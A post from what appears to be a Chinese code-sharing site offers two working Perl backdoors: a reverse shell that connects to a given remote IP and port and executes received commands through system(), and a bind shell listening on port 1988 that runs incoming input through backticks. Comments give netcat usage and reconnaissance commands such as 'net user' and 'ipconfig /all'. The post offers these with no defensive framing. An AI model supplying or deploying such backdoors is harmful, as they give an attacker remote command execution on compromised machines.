欢迎来到代码驿站!

perl

当前位置:首页 > 脚本语言 > perl

perl后门,正向和反向!实例代码

时间:2021-06-08 07:46:54|栏目:perl|点击:

by 小杰 都是使用nc监听

 反向连接代码:

#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988

#use strict;
use Socket;
use IO::Socket;
use Cwd;
use IO::Handle;
my $remote   = $ARGV[0] || "127.0.0.1";
my $remote_port = $ARGV[1] || 1988;
my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );
my $path = cwd();
$ARGC = @ARGV;

if ( $ARGV[0] !~ /-/ ) {
  socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') )
   or die "socket error: ";
  STDOUT->autoflush(1);
  SOCKET->autoflush(1);
  $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!";
  open STDIN, ">&SOCKET";
  open STDOUT, ">&SOCKET";
  open STDERR, ">&SOCKET";
  print "You are in $path\n";
  print "Welcome to use.\n";
  print "console>\n";

  while (<STDIN>) {
    chomp;
    if ( lc($_) eq 'exit' ) {
      print " Bye Bye!";
      exit;
    }
    $msg = system($_);
    if ($msg) {
      print STDOUT "\n$msg\n";
      print STDOUT "console>";
    }
    else {
      print "console>";
    }
  }
  close SOCKET;
  exit;
}

正向连接代码: 

#!/usr/bin/perl
#ActivePerl 5.8.8 Build 822
#usage:
#first:perl backdoor2c.pl
#second:nc -vv 127.0.0.1 1988
#net user
#ipconfig /all
#netstat -anb
use IO::Socket;
$port = "1988";
my $socket = new IO::Socket::INET(
  'Localhost' => '127.0.0.1',
  'LocalPort' => $port,
  'Listen'  => 1,
  'Proto'   => 'tcp',
  'Reuse'   => 1
);
die "Reason: $!" unless $socket;
while ( my $new_socket = $socket->accept() ) {
  while ( my $buffer = <$new_socket> ) {
    if ( $buffer =~ /exit/ ) { exit; }
    $res_msg = `$buffer`;
    print $new_socket "$res_msg\ncmd>";
  }
}

 这篇文章就结束到这了,希望能帮助到有需要的朋友。

上一篇:perl的格式化输出及chomp的重要性分析

栏    目:perl

下一篇:perl中使用ip138网站查询ip归属地脚本分享

本文标题:perl后门,正向和反向!实例代码

本文地址:http://www.codeinn.net/misctech/137895.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有